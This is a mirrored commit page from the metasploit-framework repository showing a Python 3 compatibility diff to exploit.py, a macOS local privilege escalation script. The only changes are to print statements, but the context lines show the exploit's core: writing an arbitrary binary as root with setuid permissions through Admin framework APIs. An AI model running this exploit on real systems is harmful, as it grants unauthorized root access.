mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-09-04 20:18:27 +02:00
python 3 compatibility
This commit is contained in:
parent
c131b21af4
commit
69d398865d
@ -27,7 +27,7 @@ def use_old_api():
|
||||
args = sys.argv
|
||||
|
||||
if len(args) != 3:
|
||||
print "usage: exploit.py source_binary dest_binary_as_root"
|
||||
print("usage: exploit.py source_binary dest_binary_as_root")
|
||||
sys.exit(-1)
|
||||
|
||||
source_binary = args[1]
|
||||
@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
|
||||
attr.setValue_forKey_(04777, NSFilePosixPermissions)
|
||||
data = NSData.alloc().initWithContentsOfFile_(source_binary)
|
||||
|
||||
print "will write file", dest_binary
|
||||
print("will write file", dest_binary)
|
||||
|
||||
if use_old_api():
|
||||
adm_lib = load_lib("/Admin.framework/Admin")
|
||||
@ -68,6 +68,6 @@ else:
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
|
||||
|
||||
|
||||
print "Done!"
|
||||
print("Done!")
|
||||
|
||||
del pool
|
||||
|
Loading…
Reference in New Issue
Block a user